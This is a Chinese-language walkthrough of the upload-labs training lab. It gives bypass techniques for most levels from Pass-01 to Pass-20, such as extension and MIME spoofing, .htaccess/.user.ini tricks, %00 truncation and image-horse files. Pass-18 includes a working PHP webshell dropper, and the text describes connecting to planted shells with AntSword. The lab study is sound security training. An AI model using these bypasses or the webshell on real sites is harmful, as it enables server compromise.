Pass-01
第一关是前端JS绕过
上传一个php文件显示只能上传特定后缀名的文件
这里将1.php改为1.jpg直接进行抓包,在数据包中将jpg改为php放行
文件上传成功,邮件图片新建页面打开
可以访问到1.php文件,则一句话密码上传成功
使用蚁剑 进行连接可以成功
Pass-02
查看源码,发现是限制了MIME类型只能是imge/jpeg
上传一个1.jpg文件
抓包,将jpg改为php,MIME类型依旧是imge/jpeg,放行
上传成功
新建页面打开图片,之后再次使用蚁剑进行连接即可,这里及之后的关卡就不再赘述此步骤了
Pass-03
这一关限制很多,但是可以使用黑名单绕过
将文件名改为1.php4、1.php5等后缀名进行上传即可
Pass-04
这一关是.htaccess攻击,关于.htaccess具体参考下面链接
.htaccess介绍
这一关需要先上传.htaccess文件,再上传1.jpg,可以访问到1.jpg代表上传成功
Pass-05
这一关要先上传.user.ini文件,再上传1.jpg文件
但是在访问 的时候会发现显示错误
这里需要提前在upload目录在新建一个php文件作为.user.ini文件的引导文件
然后访问这个新建的php文件就可以服务到我们上传的文件
我这里创建的php文件是readme.php,访问
Pass-06
这一关是大小写绕过
将1.php的后缀名大小写组合即可上传成功,但是不能改为1.pHp,这个后缀被过滤了
Pass-07
这一关强制将文件名转换为小写
可以使用空格绕过
抓包,在php后面加一个空格,放行
上传成功
Pass-08
这一关使用填点绕过,就是在php文件名后面加上一个点即可
抓包
上传成功
Pass-09
这一关将空格和点都过滤了,
所以我们使用数据流绕过
就是在文件名后面加上::$DATA
将文件变成一个数据流,而不再是文件
抓包
上传成功
Pass-10
这一关基本上是把之前的上传方式都过滤了
但是还是有办法的,我们使用点空格点过滤
就是在文件名的后面加上点空格点,这样只有最后的点和空格会被过滤
最终保留的就是1.php.
抓包,放行
上传成功
Pass-11
这一关是双写绕过
就是讲后缀名嵌套书写来躲避过滤
上传成功’
Pass-12
这一关是白名单%00截断
首先上传一个1.jpg文件
抓包,在upload目录后面加上随机的php文件,然后使用%00隔断,这样就相当于将一个1.jpg文件写入了1.php文件中
上传成功
删除后面的jpg文件,访问1.php
Pass-13
这一关和12关一样,只是有get传参改为了post传参
首先进行抓包,在upload后面写一个php文件,在文件的后面加一个““+””符号
点开十六进制页面 ,找到刚才输入的加号,将其改为00,放行即可
上传成功
在将php文件后面的多余东西删除 ,直接访问php文件即可
Pass-14
这一关是图片马文件包含绕过
首先,将一个jpg文件和php文件合成图片马
上传生产的shell.jpg文件,
Pass-15
上传上一关的shell.jpg文件,使用file协议进行访问
Pass-16
环境不适配,感兴趣可以在fofa上找一个靶场环境适配的进行练习
Pass-17
图片需要二次渲染,上传图片,图片右键新建标签页打开图片,打开文件包含漏洞,用file读取图片地址
使用蚁剑进行连接
Pass-18
创建php文件。里面写php语句如下
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
上传文件,抓包,进行攻击
得到webshell文件
进行蚁剑连接
Pass-20
这一关是黑名单绕过
上传文件1.php。保存名称改为1.php/.
右键访问图片得到结果